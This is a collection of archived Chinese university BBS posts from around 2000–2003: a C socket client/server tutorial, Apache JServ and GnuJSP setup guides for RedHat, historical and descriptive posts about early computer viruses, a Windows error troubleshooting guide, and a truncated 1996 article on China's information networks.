exit(1); } /* 服务器端填充 sockaddr结构 */ bzero(&server_addr,sizeof(struct sockaddr_in)); server_addr.sin_family=AF_INET; server_addr.sin_addr.s_addr=htonl(INADDR_ANY); server_addr.sin_port=htons(portnumber); /* 捆绑sockfd描述符 */ if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==- 1) { fprintf(stderr,"Bind error:%s\n\a",strerror(errno)); exit(1); } /* 监听sockfd描述符 */ if(listen(sockfd,5)==-1) { fprintf(stderr,"Listen error:%s\n\a",strerror(errno)); exit(1); } while(1) { /* 服务器阻塞,直到客户程序建立连接 */ sin_size=sizeof(struct sockaddr_in); if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1) { fprintf(stderr,"Accept error:%s\n\a",strerror(errno)); exit(1); } fprintf(stderr,"Server get connection from %s\n", inet_ntoa(client_addr.sin_addr)); if(write(new_fd,hello,strlen(hello))==-1) { fprintf(stderr,"Write Error:%s\n",strerror(errno)); exit(1); } /* 这个通讯已经结束 */ close(new_fd); /* 循环下一个 */ } close(sockfd); exit(0); } 客户端程序 /******* 客户端程序 client.c ************/ #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { int sockfd; char buffer[1024]; struct sockaddr_in server_addr; struct hostent *host; int portnumber,nbytes; if(argc!=3) { fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]); exit(1); } if((host=gethostbyname(argv[1]))==NULL) { fprintf(stderr,"Gethostname error\n"); exit(1); } if((portnumber=atoi(argv[2]))<0) { fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]); exit(1); } /* 客户程序开始建立 sockfd描述符 */ if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) { fprintf(stderr,"Socket Error:%s\a\n",strerror(errno)); exit(1); } /* 客户程序填充服务端的资料 */ bzero(&server_addr,sizeof(server_addr)); server_addr.sin_family=AF_INET; server_addr.sin_port=htons(portnumber); server_addr.sin_addr=*((struct in_addr *)host->h_addr); /* 客户程序发起连接请求 */ if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr)) ==-1) { fprintf(stderr,"Connect Error:%s\a\n",strerror(errno)); exit(1); } /* 连接成功了 */ if((nbytes=read(sockfd,buffer,1024))==-1) { fprintf(stderr,"Read Error:%s\n",strerror(errno)); exit(1); } buffer[nbytes]=\; printf("I have received:%s\n",buffer); /* 结束通讯 */ close(sockfd); exit(0); } MakeFile 这里我们使用GNU 的make实用程序来编译. 关于make的详细说明见 Make 使用介绍 ######### Makefile ########### all:server client server:server.c gcc $^ -o $@ client:client.c gcc $^ -o $@ 运行make后会产生两个程序server(服务器端)和client(客户端) 先运行./server port number& (portnumber随便取一个大于1204且不在/etc/services中出现的号码 就用888 8好了),然后运行 ./client localhost 8888 看看有什么结果. (你也可以用telnet和n etstat试一试.) 上面是一个最简单的网络程序,不过是不是也有点烦.上面有许多函数我 们还没有解释. 我会在下一章进行的详细的说明. 2.7 总结 总的来说网络程序是由两个部分组成的--客户端和服务器端.它们的建立步骤一般是: 服务器端 socket-->bind-->listen-->accept 客户端 socket-->connect -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.119.32.102] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Unix精华区文章阅读 -------------------------------------------------------------------------------- 发信人: monkey (cowboy), 信区: Unix 标 题: java在Linux下的web应用(一)(转载) 发信站: 日月光华站 (Mon Oct 9 17:24:10 2000) , 转信 在RedHat下安装apache jserv 1.1.2 虽然apache jserv的开发小组现在都从事tomcat的开发，而且apache jserv只支持serv let 2.0 的标准，并且要加其他的软件(gnujsp)才能支持jsp;但是apache jserv在现阶段比tomc at稳定， 因此现在apache jserv+gnujsp比较适合应用于web。如果想使用servlet2.2和jsp1.1的 话，请 使用tomcat，参看tomcat的安装。本文介绍apache jserv 1.1.1在RedHat下的安装。 一、需要的软件： jdk_1.2.2从http://java.sun.com下载 apache_1.3.12从www.apache.org下载 apache jserv-1.1.1从java.apache.org下载 jsdk2.0(只能是2.0)从http://java.sun.com下载 二、安装过程 请先安装好jdk，具体可参考jdk安装，注意设置好CLASSPATH和PATH 拷贝apache,apache jserv源码包到/tmp下 #tar xvzf apache_1.3.12.tar.gz #tar xvzf ApacheJServ-1.1.2.tar.gz 1、静态编译，即编译进apache #cd apache_1.3.12 #./configure --prefix=/usr/local/apache 配置apache jserv编译参数 #cd ../ApacheJServ-1.1.2 #./configure \ --prefix=/usr/local/jserv \ --with-apache-src=../apache_1.3.12 \ --with-jdk-home=/usr/local/jdk \ --with-java-platform=2 \ --with-JSDK=/usr/local/JSDK/lib/jsdk.jar #make #make install 编译apache和apache jserv #cd ../apache_1.3.12 #./configure \ --prefix=/usr/local/apache \ --activate-module=src/modules/jserv/libjserv.a #make #make install 运行#/www/bin/httpd -l检查一下mod_jserv是否编译进apache了 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.109.54.202] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: chester (东东), 信区: Virus 标 题: 电脑病毒起源于“磁心大战”吗？ 发信站: 日月光华站 (Sun Apr 16 00:15:37 2000) , 站内信件 2.电脑病毒起源于“磁心大战”吗？ 电脑时代一开始，便有电子病毒的概念。1949年，电 脑先驱冯·诺伊曼在《复杂自动机组织论》中便确定了病 毒的基本概念，但当时人们都认为电脑程序可以繁殖的概 念过于离谱，只有贝尔实验室三位年轻的程序员受到了启 发。他们发明了一种“磁心大战”游戏，玩这个游戏的两 个人编制许多能自身复制并可保存在磁心存储器中的程序， 然后发出信号，双方的程序在指令控制下就会竭力去消灭 对方的程序，在预定时间内，谁的程序繁殖得多，谁就得 胜。这种有趣的游戏很快传播到其他电脑中心。 这种游戏对当时孤立的电脑影响不大，但对网络系统 就大不一样了。因此，玩“磁心大战”的人默守誓言，不 把游戏的细节公开。1983年，有人打破了这一默契，不仅 透露了早期电脑病毒的存在，而且公布了病毒的编制方法。 不久，软件病毒迅速扩散。当时有一个名为“饼干怪物” 的程序，操作员在电脑前的正常工作常常被它打断，电脑 屏幕上频频出现“我要吃饼干”的英文，直到操作者输入 “饼干”单词，才罢休。 关于电脑病毒的起源，还有几种说法：软件自我保护 起源说、美国软件俱乐部起源说、恶作剧起源说、科学幻 想起源说等。 -- 说起来爱情的悲欢离合,有个你,我永远不提. 相偎又相依要留在心里,陪我一路到天涯. ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 61.129.140.109] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Unix精华区文章阅读 -------------------------------------------------------------------------------- 发信人: monkey (cowboy), 信区: Unix 标 题: java在Linux下的web应用(二) 发信站: 日月光华站 (Wed Oct 11 22:19:49 2000) , 转信 java在Linux下的web应用(二) gnujsp1.0.0在RedHat下基于apache jserv的安装 首先确认你已经安装了apache jserv，如果你还没有安装apache jserv,请参考在《Red Hat下 安装apache jserv 1.1.2》一文。 默认jserv安装在/usr/local/jserv下，jserv.conf在/usr/local/jserv/conf下 一、需要的软件 从http://www.klomp.org/gnujsp/取得gnujsp-1.0.0.tar.gz 二、 #cp gnujsp-1.0.0.tar.gz /usr/local #tar xvzf gnujsp-1.0.0.tar.gz #ln -s gnujsp-1.0.0 gnujsp #cd /usr/local/jserv/etc #cp zone.properties alph.properties #vi alph.properties修改alph.properties加入： # List of Repositories ####################### repositories=/usr/local/gnujsp-1.0.0/lib/gnujsp10.jar repositories=/usr/local/gnujsp-1.0.0/lib/servlet-2.0-plus.jar repositories=/your/jdbcbeans/path#你的javabean的路径 #repositories=/home/heyl/lib/java/Acme.jar #repositories=/usr/local/webl-3.0/lib/WebL.jar # Classloader parameters ######################### autoreload.classes=true # Enable servlet resourced autoreloading (properties and other # loaded resources) autoreload.file=true ... # Servlet Aliases ################## # Note: if using webl or Acme stuff, add the jars here too # if you added them to the repositories above (alph) # In my real settings I added: usepackages=true,language=de,country=de # but I guess you may prefer the default locale :-) (alph) servlet.gnujsp.code=org.gjt.jsp.JspServlet servlet.gnujsp.initArgs=checkclass=true,pagebase=/usr/local/www/doc, scratchdir=/var/local/apache/jsp,debug=true,compiler=builtin-javac -classpath %classpath%:%scratchdir%:/usr/local/gnujsp-1.0.0/lib/servlet-2.0- plus.jar: /usr/local/gnujsp-1.0.0/lib/gnujsp10.jar:/your/jdbcbeans/path -d %scratchdir% -deprecation %source% #其中$scratchdir为jsp文件生成的java和class文件的目录 存盘 三、 #vi jserv.properties加入 wrapper.classpath=/usr/lib/jdk/lib/tools.zip wrapper.classpath=/usr/local/jserv/lib/ApacheJServ.jar wrapper.classpath=/usr/local/JSDK/lib/jsdk.jar ...... zones=root,alph ...... alph.properties=/usr/local/apache-1.3.6/conf/alph.properties ...... log.file=/usr/local/apache/logs/jserv.log#日志文件 四、在/usr/local/jserv/etc/jserv.conf中加进 ApJServMount /alph /alph Action jsp-handler /servlet/gnujsp AddHandler jsp-handler jsp 五、 启动你的apache 把/usr/local/gnujsp/examples下的文件拷贝到web发布目录下，用浏览器调用 http://yourserver/dir/date.jsp http://yourserver/dir/hello.jap http://yourserver/dir/snoop.jsp 怎么样，结果出来了没有呢？ 然后你自己改动这些文件，加入中文测试，和servlet在redhat下一样，测试表明gnujs p也 没有中文显示的问题。 相关servlet/jsp信息请到java.sun.com查阅相关信息 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 61.129.222.52] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: chester (东东), 信区: Virus 标 题: 电脑病毒有哪些本质弱点？ 发信站: 日月光华站 (Wed Apr 19 08:53:58 2000) , 站内信件 电脑病毒是一些能够自我复制的程序段，它能附在应用程序或系统文件的可执行部分。在宿主程序执行的某些阶段，它能够获得执行控制权。按病毒传染机理可分为两 大类：一类是系统引导型，它感染系统引导时的程序（系统引导扇区、操作系统的某些模 块、设备驱动程序等）；另一类是文件型，它感染可执行的程序文件（即应用程序， 含COM文件、EXE文件或覆盖文件等）。 透过各种病毒的分析，可以发现病毒有三个本质弱点： （1）病毒的宿主目标必须是电脑系统的可执行程序， 也就是说它们只能感染系统引导程序或应用程序。 （2 ）病毒的感染总是以某种方式改变被感染的程序段，如果附在现存程序上，它会改变程序的开头、结尾或 程序中间的某些部分，如果它隐藏在磁盘的某些区，它会更改这些区的内容。 （3）如果病毒要存活、传播， 那么它的程序代码必 须能够被执行，即病毒必须把自身或一部分定位于宿主程序的特殊位置，以便获得控制权。 实际上，现有PC病毒都是通过改变宿主程序的第一条 执行的指令，达到先于宿主程序执行的目的。对于COM 文件，病毒替换它的第一条指令（因为COM 文件入口地址固 定为CS:100H）；对于EXE文件，病毒改变入口指针（在文件头）；对于中断服务程序，也类似地改变它的中断向量。 因此，病毒破坏了被感染程序的数据真实性，准确地说是破坏了被感染程序第一条被执行指令的真实性。所以，对应用程序的校验只要针对第一条执行的指令和附近的数据， 既可保证准确性，又减少检测时间。 -- 说起来爱情的悲欢离合,有个你,我永远不提. 相偎又相依要留在心里,陪我一路到天涯. ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.64.13.26] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: chester (东东), 信区: Virus 标 题: 电脑病毒是看不见摸不着的吗？ 发信站: 日月光华站 (Sun Apr 16 00:19:30 2000) , 站内信件 3.电脑病毒是看不见摸不着的吗？ 许多人以为电脑病毒也像生物病毒一样，是肉眼看不 见的。其实，多数电脑病毒有自己的病毒现象。下面的纪 实片段也许会让您想起，你曾经也看到过病毒现象。 1988年底，一位旅美学者从美国带回来一台电脑，他 在电脑里安装了一个称为VirusGuard的防病毒程序，人们 好生兴趣地问：“电脑病毒什么时候才会光临中国? ”， 他认真地回答：“也许就在明年。”。在这之前，国内的 一些报刊也曾报道过国外的电脑病毒，但都是在通信网络 上传播的，不少人以为我国的通信网络发展才刚刚开始， 电脑病毒离我们还远着呢。半年之后，那是1989年4 月的 一天，某计算中心发出了求救信号，那里的7台PC/AT机相 继出现了圆点“小球”在屏幕上不停地弹跳。后来的报道 证实，这就是入侵我国的第一个电脑病毒。 1990年8月，某县城一个工厂从省城购买了一套386系 统设备用于工厂的MIS管理。 不久之后， 发现了一个 怪现象，只要一发送打印命令，就提示 “ . . . error writing device PRN”，无法联机打印。 工厂的 技术人员详细检查了打印机接口和信号电缆，也检查了汉 字操作系统和汉字打印驱动程序，甚至还把汉字操作系统 卸掉，都无法联机打印。他们怀疑是打印机故障，就把打 印机送去省城维修，检查结果是打印机没有故障。 可是， 他们将这个没有故障的打印机带回县城连在自己的386 系 统上，却仍然不打印。他们只好将整套设备送到省城维修。 经检查分析，原来是Unprint病毒在作怪。 1991年6月1日，某电脑室打字员小芳照常打开电脑， 启动汉字系统，突然屏幕上出现一只蜈蚣式的“小虫”在 屏幕的顶行缓慢地向右爬行，从屏幕的第一行又爬到了第 二行，一直往下爬。胆小怕事的小芳吓坏了，赶紧叫来电 脑技术人员，用KILL软件杀掉了这个1575病毒。 1992年11月的一天，办事员小李同往常一样先打开显 示器，再打开电脑主机，准备起草一份文件，可是屏幕上 没有出现平常的汉字系统提示，却把屏幕设置成蓝色的背 景，五支红色“火炬”在闪烁。他关机后，重新开机，发 现硬盘已经不能启动，再用软盘启动，也不能进入硬盘操 作。原来这是“火炬”病毒发作现象。技术人员立即赶到 现场，经检查，还好他的电脑中毒不深，用DEBUG 恢复了 硬盘数据。 1993年5月4日，做事一向认真的小王又要进行每周一 次的病毒检查工作，他在DOS下键入SCAN命令， 可是电脑 没有照常做扫毒工作，却以红底白字显示如下信息： ┌──────────────────────┐ │ XqR: │ │ │ │ Wherever, I love you Forever and ever ! │ │ The beautiful memory for ours in that │ │ summer time has been recorded in the Com- │ │ puter history. │ │ Bon voyage, My dear XqR ! │ │ │ │ Yours 05121991 in our Home. │ └──────────────────────┘ 原来这是一封情意绵绵的“情书”，它来自“新世纪”病 毒。 1994年12月26日清晨，广播“历史上的今天”播出了 今天是毛泽东主席诞辰101周年纪念日。上午九点多， 某 省直机关文印室的5台电脑相继演奏《浏阳河》乐曲。 联 想到9月9日有一台电脑曾经演奏过《东方红》乐曲，他们 断定又是电脑病毒在发作。 -- 说起来爱情的悲欢离合,有个你,我永远不提. 相偎又相依要留在心里,陪我一路到天涯. ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 61.129.140.109] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Hyoga (白鸟座·冰河), 信区: Virus 标 题: Windows出错信息解析及解决方案 发信站: 日月光华 (2003年01月06日13:46:49 星期一), 站内信件 Windows出错信息解析及解决方案 ----------------------------------------------------------------------------- 整理：阿新（Seraph Chutium） 　　注册表错误 　　Windows 9x/Me/NT/2000把系统的许多设置都组织起来，放到了注册表中，这样虽然 易于管理一些（不用像在DOS和Windows 3.x时面对无穷的.ini文件）。可是同时也带来 了这样的问题:如果哪个安装程序的反安装做得不好，很容易在注册表中留下一些垃圾。 你留一些、我留一些，随着时间的流逝，安装/删除程序的增加，注册表的体积也在突飞 猛进，系统当然也慢慢变慢;更有甚者，有些软件如果破坏了注册表，轻则使你不能使用 部分软件，重则系统不能启动，惨⋯⋯ 　　当你的系统启动很慢或者你安装/删除了很多软件时，你应该用注册表清理工具来清 理一下注册表垃圾了，千万不要等到Windows告诉你“注册表错误” 之类的信息之后， 你才手忙脚乱地到处打电话，请教朋友⋯⋯ 　　Regcleaner 　　发布公司:Jouni Vuorio 　　最新版本:4.1a 　　下载网址: ftp://ftp.download.com.cn/pub/new_system/RegCleaner.exe 　　这是一个注册表清理工具：RegCleaner。它是免费的，不过功能稍嫌单薄，只能清 理注册表中多余的注册表项，不能修复错误。 　　案例:你用的是Win9x，某一天你发现了再也不能进入Windows，总是显示一些注册表 错误之类的信息然后就死机或者重新启动，怎么办呢？ 　　解决方案:首先想到的第一招应该是——使用Windows注册表备份修复，方法嘛？很 简单: 　　启动到DOS下，执行Scanreg /restore，在弹出的“Microsoft Registry Checker” 窗口中，你可以看到五个文件，文件名分别为rb000.cab、rb002.cab⋯⋯rb004.cab，找 一个时间离现在最近的，选择“Restore”，系统应该可以正常启动了。如果还是不行， 可以重新运行Scanreg，选择一个时间稍微再早一点的，再试⋯⋯ 　　注意:现在市面上有很多注册表方面的书，通过修改注册表来提升系统性能和个性化 设置更是大家都很熟悉的事情，可是要记得一点——备份，强烈建议你在每次修改注册 表的时候都将你的注册表备份一次！ 　　动态链接库出错 　　我们大家都知道，DLL是Windows中很重要的一种文件，不过微软开始采用这种动态 链接库的时候却没有想到动态链接库也会有同名的时候，这些同名的文件可能是因为版 本不同而内容不一样、也可能是完全不相干的两个（只不过名字相同），当同名的这些 文件被覆盖之后，引起的后果就是灾难性——或者应用程序无法运行、或者程序老是出 错，严重的系统根本无法启动。 　　说到这里我们不能不提到VxD错误，VxD是虚拟设备，如果这些文件被替换的话，会 导致和上边同样的灾难性后果。 　　案例一:我每次启动计算机的时候，总是会出现如下的出错提示，但是按下回车键进 入系统过后一切都可以使用，并且系统没有什么异常，这是什么原因？ 　　解决方案:看你的情形，应该不是因为缺少VxD文件所致，这种情况一般是因为不良 的安装程序引起的，当你用它的反安装程序时，相应的文件虽然被删除了，但是却在注 册表中留下了些残骸。 　　运行注册表编辑器Regedit.exe打开注册表，按下“Ctrl+F”查找相应的文件名，找 到以后将该注册表项删除，重新启动，问题应该解决了^_^。 　　注意:其实上述情况的发生，还有更可能的一种原因——那就是你采用很强暴的方式 删除应用程序（直接将应用程序安装目录删除）时也可能产生这种问题，强烈建议你采 用应用程序自带的“反安装程序”来完成应用程序的反安装。 　　案例二:在一次狂删软件中我卸载了某个软件，提示说还有c:\windows\system\WSoc k32.dll没删掉。重新启动后与上网有关的所有程序（IE、OE、Netants等）都无法运行， 提示说:“系统出错，无法启动文件WSock32.dll。请检查文件，确定出问题的原因。” 不知WSock32.dll是windows的什么重要文件，我该怎么解决？ 　　解决方案:这种问题是典型的Dll文件被覆盖所产生的，从IE、OE等出错，说明是系 统文件遭到破坏引起的，同时你也知道了遭破坏的文件WSock32.dll，不妨从Windows安 装盘释放一个WSock32.dll到提示目录即可（c:\windows\system下），但是为了保险起 见，最好先将原来的WSock32.dll备份。 　　注意:要覆盖文件，请一定注意Dll文件或者VxD文件的版本号要和你的Windows匹配 ，如果你不知道怎么才是匹配，请将你的Windows安装盘放入光驱，然后运行sfc.exe让 Windows自动检测被破坏的系统文件吧！ 　　在Windows光盘上单击右键，选择“查找”，在弹出的“查找”窗口中，填写“包含 文字”栏为需要查找的文件名（这里是WSock32.dll），按下“开始查找”，等光盘灯不 亮的时候，可以看到在右边的查找到文件窗口中有一个Precopy2.cab（不同的Windows版 本文件名也是不同的）。用Winzip将其中的WSock32.dll解压缩到需要的目录，至此大功 告成（如果你没有Winzip，也可以使用Windows自带的Extract来释放文件，具体用法这 里就不再赘述）。 　　注意:Dll和VxD文件很容易出现被覆盖的现象，所以当安装应用程序的时候提示“xx xx 文件将被覆盖，是保留老版本文件还是替换”，你一定要谨慎行事，最好不要替换， 这样可以保证已经安装的软件和系统的正常运行。 　　程序失去反应 　　身在Windows下，某个应用程序失去反应可能是最常见的事情。如果不是在系统启动 的时候某个程序失去了反应，你应该首先等待一下，一般会解决大部分问题（这主要是 该应用程序正在忙于处理，来不及向系统发去的信号反应，等一段时间就是等应用程序 处理完毕，你也不要太性急了⋯⋯）;还是不行的话，建议你启动一下计算机——Window s过一段时间要重新启动早已经是解决Windows问题屡试不爽的妙诀了⋯⋯ 　　不过，要是你在安装某个应用程序、新加设备，而且重新启动之后却发现应用程序 失去发应，只怕事情就不是那么简单的了。 　　案例:最近，我的电脑遇到了问题，每次一开机，刚刚出现桌面背景，连屏幕下的任 务栏还没有就会出现一个对话框，左上角有“mprexe”字样，内容为“该程序执行了非 法作，即将关闭，请予供应商联系”有时点关闭后照样能正常启动，有时就停止不动只 能重新启动。即使覆盖重装了Win98也不管用。 　　解决方案:MPR出错一般是因为用户口令文件出错、服务冲突和正在用户配置文件、 硬件冲突、硬件驱动程序出错等等。 　　1.用户口令文件出错 　　我们可以通过重建用户口令文件来纠正错误。按下“Win+F”打开查找窗口，在“文 件名”栏中输入“*.pwl”，按下“开始查找”，在查找到的文件窗口中，将所有文件更 名或者删除。重新启动Windows，在出现登录窗口时，重新输入用户名和口令就可以了⋯ ⋯ 　　2.服务/应用程序冲突 　　要解决服务和应用程序冲突，你需要以“安全模式”启动计算机。然后将刚才安装 的应用程序反安装或者服务禁用，看看是否可以解决问题。 　　3.用户配置文件问题 　　这可以通过禁止用户配置文件来解决此类错误。 　　在“网上邻居”上单击“右键”，选择“属性”，在“访问控制”中选择“共享级 访问控制”，确定退出后重新启动。 　　4.硬件冲突 　　你可以在设备管理器中通过将有问题的硬件禁用来找到硬件冲突。 　　打开“控制面板”/“系统”/“设备管理器”，在有黄色惊叹号（或问号）的设备 上双击，选择“该设备在当前配置文件中禁用”，重复上述步骤可以找到真正有冲突的 硬件，请更换它。 　　5.设备驱动程序损坏 　　请重新安装该设备的驱动程序。 　　注:MPrexe失去反应可能是我们最常遇到的程序失去反应案例，这种案例的情形十分 复杂，上述并不能完全包括，如果你的英文够好，请参阅微软的MPrexe问题详尽介绍: http://support.microsoft.com/support/kb/articles/Q178/0/84.asp。 　　Windows NT/2000一般错误 　　Windows NT/2000是Windows系列的服务器家族重要成员，稳定性比Win9x有了很大的 改进，不过他也并不是不会出错，好在是WinNT/2000的出错信息有详细的记录，我们可 以通过“事件查看器”来找到出问题的原因进而找出解决方案。 　　我们这里说的一般错误，是指的Windows NT/2000还可以运行，不过会弹出出错信息 ，那种导致直接当机的问题请参看“Windows NT/2000 STOP错误”。 　　案例:我启动Win2000的时候，弹出一个错误窗口“At least one service or driver failed during system startup. Use Event Viewer to examine the event log for details”，请问这种问题该如何解决？ 　　解决方案:很简单，Windows不是提醒你用“Event Viewer（事件查看器）”来了解 一下详情吗？ 　　打开“事件查看器”，在下图的窗口中，我们可以看到一个前面标有“×”的错误 信息，双击查看该出错信息的详细出错信息。 　　在弹出的出错信息描述中，我们可以看到是这样描述的“The messenger service terminated with service-specific error 2270.”，记下出错信息2270，现在打开一 个命令行窗口，输入“net helpmsg 2270”，现在你应该看到出错信息了。 　　“The computer name could not be added as a message alias. The name may already exist on the network. ” 　　这说明现在这台电脑的Message Alias（消息别名）已经在网络上注册了（你将收不 到用net send MessageAlias Message发过来的短信息了），请另外给本台电脑命名就可 以了。 　　Windows NT/2000 STOP错误 　　Stop错误是Windows NT/2000系列特有的一种错误，和Windows NT/2000普通错误不 同的是——出现了该种错误以后，如果电脑继续执行下去，可能会破坏数据，因此Windo ws NT/2000会显示一条STOP:0x0000000A之类的错误，然后蓝屏，停机⋯⋯ 　　案例:我用的是Win2000，可是有一天启动的时候却突然出现了如下图的“STOP:0x00 00007B”的蓝屏，然后计算机就停止了反应，请问我该怎么解决这种问题？ 　　解决方案:碰到这种问题，一般可以按照以下方式解决。 　　1.首先使用新版杀毒软件检查计算机上是否有病毒。 　　2.如果Windows NT/2000仍然可以启动，请检查“事件查看器”中的信息，以确定导 致故障的设备或驱动程序。具体解决步骤请参考上边“Windows NT/2000一般错误”。 　　3.如果不能启动计算机，试着用“安全模式”或“最后一次正确的配置”启动计算 机，然后删除或禁用新安装的附加程序或驱动程序。如果用“安全模式”启动不了计算 机，可以考虑使用修复控制台，修复控制台可以在Console模式下禁用一些服务、重新命 名设备驱动程序、检修引导扇区或主引导记录（详细步骤请参考相应资料，这个需要比 较专业的知识，这里不便详述）。 　　4.拆下新安装的硬件设备（RAM、适配卡、硬盘、调制解调器等等），看看是否可以 正常启动（如果你新安装了硬盘导致盘符错位，可是会引起上述问题的）。 　　5.确保已经更新了硬件设备的驱动程序，以及系统有最新的BIOS。 　　6.运行由计算机制造商提供的系统诊断工具，尤其是内存检查。 　　7.检查Microsoft兼容硬件列表（HCL），确保所有的硬件和驱动程序都与Windows 2000兼容。Hcl.txt在Windows 2000 CD-ROM的Support文件夹中，你也可以到微软的网站 查看http://www.microsoft.com/hcl/default.asp。 　　8.在BIOS中禁用内存缓存。 　　9.重新启动计算机，在启动菜单处，按F8进入“高级启动选项”，选择“最后一次 正确的配置”。（注:使用“最后一次正确的配置”的方式启动计算机后，计算机的所有 设置被重置为最后一次正确启动时的配置。） 　　10.如果能够访问Web，请进入 http://www.microsoft.com/，单击“Support”/“ Search Microsoft.com”，在“Search for:”处，输入“stop”和相应的号码（如出现 STOP消息“stop:0x0000007B”，可在此输入“stop:0x0000007B”），按Enter键，（上 接70页） 　　就可以找出所出现的STOP问题的解决方法。 　　注:其实上边的Windows NT/2000一般问题的解决也可以在微软的站点上查找到详尽 的帮助信息，出问题的时候你直接的想法应该是去看看微软的技术支持站点——看看他 是怎么说的（上边的STOP:0x0000007B错误经查，原来是服务器上新添加了硬盘，但是没 有注意到磁盘的主从顺序导致的）。 　　Windows的出错信息是难以穷尽的，我上边所列的Windows错误可能也只是管中窥豹 ，不过我们的用意也不在于要将所有的出错信息列举出来，只是想通过这样的介绍给你 一种解决问题的思路，使你在Windows出错的时候不至于手忙脚乱⋯⋯ -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.85.32.100] ※ 修改:·Hyoga 於 01月06日13:49:55 修改本文·[FROM: 10.85.32.100] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
【 日 期 】19960703 【 版 号 】10 【 标 题 】我们怎样建设自己的信息网络 【 作 者 】张树新 【 正 文 】 电脑、网络、信息高速公路，现今此类词语不绝于耳，人们自觉不自觉地都 意识到一场真正意义上的信息革命已经到来。那么中国人离信息高速公路还 有多远？国际互联网络是否代表信息网络发展方向？ ＊ ＊ ＊ 鸿雁传书，曾是古人借以传递相思的比喻；烽火狼烟，驿道长亭是他们沟通信息的 手段。 随着近代科学的发展，邮政投递、电话传真、卫星电视越来越变成人类社会进步的 通讯方式，而从７０年代以来随着计算机的迅速发展，电脑信息网络作为一种全新的通 讯传播手段正日益兴起，成为一种快捷安全、沟通人与外部世界联系的工具。 通过电脑网络，人们足不出门就可以看电影、听音乐、订机票、读报刊，通过一封 封电子邮件问候新朋老友，在电脑网络上选购商品，同五湖四海的人洽谈贸易，寻找商 机，网络世界里电子大学会成为教学最重要的模式之一，传统办学模式中大量的经费和 人力都投入到基础设施和人员建设上，而在网络里一切的投资都集中在知识的提供上， 家与学校的路程也许就是从餐桌走到电脑工作台前。 网络，为弘扬中华文化带来重要契机 国际互联网络ＩＮＴＥＲＮＥＴ这一词汇近来时常在报刊媒体上出现，ＩＮＴＥＲ ＮＥＴ是目前全球最大的计算机网络，也是全球最大的信息资源库。据初步统计，截至 今年年初，全世界已有１５０个国家和地区加入ＩＮＴＥＲＮＥＴ，有４—５万个网络 联入互联网，现有用户６０００万。从整体看互联网络的发展极为迅猛。 在ＩＮＴＥＲＮＥＴ热遍全球时，它自身内含的矛盾也日益突出。由于相关的管理 和法律文件的滞后，使ＩＮＴＥＲＮＥＴ成为“没有政策、没有警察、没有军队”的“ 乐土”，于是产生了一些恶果：网上黄毒泛滥，信息传输常常丢失、泄密，可靠性、安 全性差，由于无人清理产生了大量的信息垃圾，更为偏颇的是ＩＮＴＥＲＮＥＴ完全建 筑在美国人的社会道德、文化语言习俗之上的，并不符合中国人的文化社会心理，纯西 文的界面也阻碍着信息交流。ＩＮＴＥＲＮＥＴ作为教育科研贸易学术交流可以极大地 开拓视野，对我们的专业人员有极大的帮助，但大规模的发展鼓励普通人都上国际互联 网，目前显然是不符合中国国情的。 中华民族古老的汉语文化被公认是世界上为数不多的自成体系、源远流长的文化语 言系统，我们除了最大可能借鉴吸收其他民族文化丰富壮大自己以外，还面临着一个重 要的契机。抓住机遇弘扬光大中华民族的优秀文化，在即将来临的２１世纪文化之林里 找到应有的位置。宣传发展汉语文化，创建我们自己民族特色的中文化网络，已成为时 代赋予我们的重任，这不仅仅是出于民族的良知、现实的国情，更是人类历史的伟大使 命！ 瀛海威人大胆设问：中国人离信息高速公路还有多远 建立民族化信息产业，不可缺少的一环是能使千百万普通老百姓参与进来，只有让 电脑网络的概念深入千百万普通大众的头脑中，才能引导中国人走向信息高速路。瀛海 威公司始终把自己定位在建立中国第一个大众化百姓网，所创立的在线服务网络“瀛海 威时空”实实在在是为广大老百姓服务的。在信息内容风格上，紧紧突出中国人文化的 特色，让我们民族的伦理道德礼仪、人际交往方式通过无生命的电脑网络来传递，人与 人的交流借助现代科技手段达到高度的和谐，电子时空成为现实社会的虚拟。在时空网 络刚创立时，就参照现实生活设置了信息海关，统一管理国际互联网的进出，禁止有害 信息的传播，使ＩＮＴＥＲＮＥＴ只是附加在瀛海威时空上的一种连接世界的功能而不 是主要目标。 路漫漫其修远兮，中国的网络建设任务艰巨 未来的竞争是科技与人才的竞争，是综合国力的较量。论技术我们差距尚远，论产 品我们的市场竞争力薄弱，面临的局势是外方公司想方设法占领市场。由于体制等原因 ，我们各部门各行业各地方，仅从自我出发，重复引进，盲目建设，在有限的市场上互 相残杀，结果是几败俱伤。中国信息产业界应当以民族国家利益为重，形成空前团结， 迎接严峻的挑战！ 信息服务业由于受国家政策保护成为现今唯一未受外方冲击的市场，应当以此为突 破口，把联想微机、科利华教学软件、万方科技数据库、瀛海威在线服务平台等组织起 来，在国家公用信息信道上，高举民族大旗，联合一起形成带动其他信息事业建设的产 业链，共同前行才是出路。作为一项产业建设，离不开市场的拉力、技术的推力和政府 